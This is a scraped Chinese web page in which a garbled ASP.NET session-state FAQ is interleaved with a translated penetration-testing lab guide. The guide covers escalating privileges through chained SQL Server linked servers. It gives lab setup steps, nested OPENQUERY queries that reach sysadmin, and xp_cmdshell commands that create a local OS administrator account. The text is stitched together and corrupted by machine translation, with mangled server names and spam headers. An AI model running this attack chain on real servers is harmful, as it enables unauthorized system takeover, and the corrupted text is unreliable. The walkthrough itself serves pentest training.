Q: 在SQLServer或StateServer情势下,连串化和反体系化怎样职业?
A: (待翻译)

CREATELOGIN s3userWITHPASSWORD='s3password';

Q: 小编该怎样让本身的state server更安全?
A:要是state server和web server运转在一台机械上,通过设置HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices aspnet_stateParam tersAllowRemoteConnection的dword项为0,可以让state server仅在地面运转。那样就能够堤防远程客户端连看到state server上。这一特色在v1.1中可用,在v1.0 sp3中也可能有。

GO

state server必须受防火墙爱抚,以堤防外界连接以保障真的平安。默许的端口是TCP 42424,你能够安装HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices aspnet_stateParam tersPort来退换它。假设是本地方式,除了127.0.0.1以外,屏蔽全体外来连接;若是是远程方式,显式的剥夺全数的地址,除了对wev服务器的总是。

6.应用OSQL验证实例和登入是还是不是正确安装。 检查实例是不是响应广播伏乞:

接纳IPSec是另一种爱护state server的措施。

sqlcmd -L

Q: 我能还是不可能可以利用非global.asax中的管理程序来订阅SessionStateModule.End事件?
A: 答案是不是认的。当SessionStateModule触发End事件时,只有定义在global.asax中的方法才会被触发

在Windows cmd.exe调节台中,使用对象能源管理器或sqlcmd检查各类实例的数据库登陆名是还是不是能够登陆:

那是由于安全原因挂念的才对此进行限制。假若asp.net允许用户使用的其余的管理程序来拍卖End事件。在这种景色下,用户常常选拔三个页面方法作为处理程序,当你在事件订阅时传出处理程序,管理程序将与您的程序运营在的HttpApplication实例关联。请留神, HttpApplication实例会被回收来拍卖其余乞请。那样的话,当End事件触发时,asp.net将调用管理程序,而与之提到的 HttpApplication实例已经被另一个伸手所利用,那样的意况将抓住精彩纷呈的主题材料。为了防止这种惊险,在v1.0中央调节制进调用 Global.asax中定义的法门。希望你们都足以忍受这一范围。

sqlcmd -U s1admin -P s1password -S .server1 -Q"select @@version"

Q: 不一样的应用程序能够把他们的session state保存在同三个SQL Server上的区别数据库中呢?
A: 答案是必定的。详细的情况请见:http://support.microsoft.com/default.aspx?scid=kb;EN-US;836680

sqlcmd -U s1user -P s1password -S .server1 -Q"select @@version"

sqlcmd -U s2user -P s2password -S .server2 -Q"select @@version"

sqlcmd -U s3user -P s3password -S .server3 -Q"select @@version"

2.3安装XP_CMDSHELL

以下是启用能够通过数据库实施本地操作系统命令的xp_cmdshell存款和储蓄进度的认证。 只好在server1上启用它。

EXECsp_configure'show advanced options',1

RECONFIGURE

go

EXECsp_configure'xp_cmdshell',1

RECONFIGURE

go

2.4装置SQL Server数据库链接

以下是创建数据库的表明。 有关更加多新闻,能够在http://msdn.microsoft.com/en-us/library/ms190479.aspx中找到合法Microsoft页面。 笔者还提出利用Microsoft SQL Server Management Studio。 它能令人生不那么困难。

1.施用s2user数据库登陆成立五个从server1到server2的数据库链接。 增添数据库链接:

USE [master]

GO

EXECmaster.dbo.sp_addlinkedserver

@server = N'RELATIVESERVERNAMEHERESERVER2', @srvproduct=N'SQL Server';

GO

丰富将应用于数据库链接的数据库用户:

EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHEREserver2','false',NULL,'s2user','s2password';

证实数据库链接已加多以下查询:

selectsrvnamefrommaster..sysservers;

经过向其爆发查询来验证数据库链接的劳作规律:

select*fromopenquery("RELATIVESERVERNAMEHEREserver2",'select @@servername')

2.选用s3user数据库登入创立三个从server2到server3的数据库链接。 加多数据库链接:

USE [master]

GO

EXECmaster.dbo.sp_addlinkedserver

@server = N'RELATIVESERVERNAMEHERESERVER3', @srvproduct=N'SQL Server';

GO

累加数据库用户的数据库链接:

EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHEREserver3','false',NULL,'s3user','s3password';

表明数据库链接已增加以下查询:

select srvname from master..sysservers;

通过向其爆发查询来证实数据库链接的办事原理:

select*fromopenquery("RELATIVESERVERNAMEHEREserver3",'select @@servername')

3.使用s1admin数据库登陆创制贰个从server3到server1的数据库链接。 增多数据库链接:

USE [master]

GO

EXECmaster.dbo.sp_addlinkedserver

@server = N'RELATIVESERVERNAMEHERESERVER1',

@srvproduct=N'SQL Server';

GO

增加数据库用户的数据库链接:

EXECsp_addlinkedsrvlogin'RELATIVESERVERNAMEHEREserver1','false',NULL,'s1admin','s1password';

表明数据库链接已增加以下查询:

selectsrvnamefrommaster..sysservers;

由此向其发出查询来表明数据库链接的行事原理:

select*fromopenquery("RELATIVESERVERNAMEHEREserver1",'select @@servername')

表达用户是不是具有sysadmin权限。 上面包车型大巴查询相应回到1:

select*fromopenquery("RELATIVESERVERNAMEHEREserver1",'select is_srvrolemember(''sysadmin'')')

4.行使任何凭证在server1,server2和server3上创建一个坏的链接到“BADSERVE智跑”。 此链接意在模拟不再存在的服务器的链接。

丰裕数据库链接:

USE [master]

GO

EXECmaster.dbo.sp_addlinkedserver

@server = N'BADSERVER',

@srvproduct=N'SQL Server';

GO

增添数据库用户的数据库链接。 凭证在这里并不主要,因为那是为着模仿到不再存在的服务器的链接。 所以'baduser'和'badpassword'能够是其他值。

EXECsp_addlinkedsrvlogin'badserver','false',NULL,'baduser','badpassword';

证实数据库链接已增加以下查询:

selectsrvnamefrommaster..sysservers;

评释访问坏链接的尝尝超过预期。

select*fromopenquery("BADSERVER",'select @@version')

2.5安装易受攻击的Web应用程序

1.在Server1上从Microsoft下载并设置AdventureWorks二〇〇九_Database.zip数据库。 它能够从http://msftdbprodsamples.codeplex.com/releases/view/93587下载。

以下是安装步骤的概述。

a. 将AdventureWorks2008_Database.zip解压到c:驱动器上的公文夹

b. 张开Microsoft SQL Server Management Studio并接连到server1实例

c. 右键单击数据库节点

d. 采纳附加...

e. 从解压到的不二诀窍中甄选AdventureWorks二〇一〇数据库文件

f. 使数据库登陆s1user为AdventureWorks的数据库全部者。

USE AdventureWorks2008;

EXEC sp_changedbowner's1user';

至于越来越多新闻,请访问http://msdn.microsoft.com/en-us/library/ms178630(v=sql.90).aspx。

2.装置IIS服务器并启用对asp页面包车型地铁支撑。

a. 在Windows上安装IIS:http://www.howtogeek.com/howto/windows-vista/how-to-install-iis-on-windows-vista/

b. 启用ASP页面包车型大巴应用:http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis-

7-and-iis-8 / classic-asp-not-installed-by-default-on-IIS

3.从GitHub下载并设置易受攻击的ASP页面到C: Inetpub wwwroot。 链接到易受攻击的页面下载列表如下。

•employee.asp

https://raw2.github.com/nullbind/Metasploit-Modules/master/employee.asp

•search.asp

https://raw2.github.com/nullbind/Metasploit-Modules/master/search.asp

4.编辑empolyee.asp和search.asp页面。 将db_server变量改动为你为server1安装的服务器名称和实例。 它应有看起来像上边包车型客车例证。

db_server = "mytestserverserver1”

5.启用详实错误消息。 依照你的本子IIS详细错误大概会启用,可是倘使他们不是底下的链接应该力所能致给您有的指引。

•http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis-7-and-

iis-8/classic-asp-script-error-messages-no-longer-shown-in-web-browser-by-default

•http://blogs.msdn.com/b/rakkimk/archive/2007/05/25/iis7-how-to-enable-the-detailed-error-

messages-for-the-website-while-browsed-from-for-the-client-browsers.aspx

第3章通过直接数据库连接手动攻击

在本章中,您将采用SQL

Server Management

Studio连接到SEEnclaveVE福特Explorer1,通过链接爬网将权限升级到sysadmin,并透过xp_cmdshell存款和储蓄进度在OS等第接管服务器。

在底下的演示中,10.2.9.183中早就设置了具备SQL Server实例。

那是在意识并未有sysadmin访问权限的报到后,在里面渗透测量试验中可能会发觉的多个很好的例子。

3.1以用户身份登入Server1

SQL Server Management Studio Express可以看成SQL Server安装的一片段或单独安装。 安装实现后,使用它连接到SEPRADOVE帕杰罗1实例,如下所示。 不过,请留心,您的IP地址大概不一样。

澳门新浦京娱乐场网站 7

单击“新建查询”按键,并键入以下查询以分明s1user是还是不是为系统管理员。

SELECTis_srvrolemember('sysadmin')

结果应当接近于上边包车型地铁截图。

澳门新浦京娱乐场网站 8

“0”告诉大家,s1user未有sysadmin权限,所以让我们采取上边的询问找到一些爬网链接。

SELECTsrvnamefrommaster..sysservers

结果应该临近于上边包车型大巴荧屏截图。

澳门新浦京娱乐场网站 9

它应该显示多少个链接的服务器。 “BADSEHavalVE陆风X8”是贰个死链接,“WIN-ODG2LLLUIPN”未有数据访问。 所以大家来关怀“.SERVER2”的链接。

3.2看成用户从服务器1爬到劳动器2

选取下边包车型地铁查询检查“.SEKugaVECRUISER2”这些链接配置是什么样权限。

-- Checking privileges on first link

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT is_srvrolemember(''sysadmin'')’)

结果应该像上面包车型地铁显示器截图。

澳门新浦京娱乐场网站 10

又叁遍,我们未有sysadmin权限,所以让我们来探望SE本田UR-VVECR-V2上的数据库链接。 使用上边包车型客车查询列出SEPRADOVE福睿斯2上的链接服务器。

-- Get list of linked servers on SERVER2

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT srvname FROM master..sysservers')

结果应该像上边包车型大巴显示屏截图。

澳门新浦京娱乐场网站 11

与SE途乐VE奇骏1类似,您应该看到几个链接。 大家注意于链接到“。 SERVER3”

3.3当做用户从服务器2爬到服务器3

行使上面包车型大巴询问检查“.SE冠道VEENCORE3”的链接配置是怎样权限。

-- Check privileges on link to SERVER3

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT * FROM OPENQUERY(".SERVER3",

''SELECT is_srvrolemember(''''sysadmin'''')'')')

结果应当像上面包车型大巴荧屏截图。

澳门新浦京娱乐场网站 12

澳门新浦京娱乐场网站:请检查从前的荒谬,实验的装置和口诛笔伐指南。双重,大家未有sysadmin权限,所以让大家来看望SE瑞虎VESportage3上的数据库链接,接下去使用上面包车型地铁查询。

-- Verify access to SERVER1 from SERVER3

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT * FROM OPENQUERY(".SERVER3",

''SELECT * FROM OPENQUERY(".SERVER1",

''''SELECT @@Servername'''')'')')

澳门新浦京娱乐场网站 13

看起来大家有三个链接到SEENVISIONVE奥迪Q31。 让大家看看大家可以从中得到什么样

3.4从Sysadmin从Server 3爬到Server1

让咱们应用下边包车型地铁查询检查链接到SELANDVEQX561的权能。

-- Get privileges on link to SERVER1 from SERVER3

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT * FROM OPENQUERY(".SERVER3",

''SELECT * FROM OPENQUERY(".SERVER1",

''''SELECT is_srvrolemember(''''''''sysadmin'''''''')'''')'')')

结果应该像下边包车型地铁显示器截图。

澳门新浦京娱乐场网站 14

末尾,它回到了“1”! 您以后能够运用sysadmin访问SELANDVEKuga1。

3.5透过服务器3链接将OS管理员增添到服务器1

当今大家有sysadmin访问SERAV4VE奥德赛1,大家得以向操作系统加多本地管理员。 大家先从使用下边的查询增添二个用户起始。

注意:只要回到二个值,能够通过链接的OPENQUE途锐Y执行其余部存款和储蓄器储进度。 那就是干什么在调用xp_cmdshell此前运用“SELECT 1”。

-- Get privileges on link to SERVER1 from SERVER3

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT * FROM OPENQUERY(".SERVER3",

''SELECT * FROM OPENQUERY(".SERVER1",

''''SELECT 1;EXEC master..xp_cmdshell ''''''''net user netspi $TestPass12!

/add'''''''''''')'')')

结果应当像上边包车型客车荧屏截图。

澳门新浦京娱乐场网站 15

噩运的是,xp_cmdshell存款和储蓄进度在经过OPENQUE途乐Y使用时不会来得输出,因为大家必要动用“SELECT 1”。 所以如若查询战败,重返“1”。 无论哪个种类方法,新操作系统用户都能够应用下边的询问增添到“管理员”组。

-- Get privileges on link to SERVER1 from SERVER3

SELECT*FROMOPENQUERY(".SERVER2",

'SELECT * FROM OPENQUERY(".SERVER3",

''SELECT * FROM OPENQUERY(".SERVER1",

''''SELECT 1;EXEC master..xp_cmdshell ''''''''net localgroup administrators /add

netspi'''''''''''')'')')

再也回到1,如下边包车型大巴截图所示。

澳门新浦京娱乐场网站 16

若是一切平常,您今后应该能够经过远程桌面使用新帐户登陆服务器。

澳门新浦京娱乐场网站 17

本文由 看雪翻译小组 Daemond 编写翻译,来源 netspi

本文由澳门新浦京娱乐场网站发布于数据库,转载请注明出处:澳门新浦京娱乐场网站:请检查从前的荒谬,实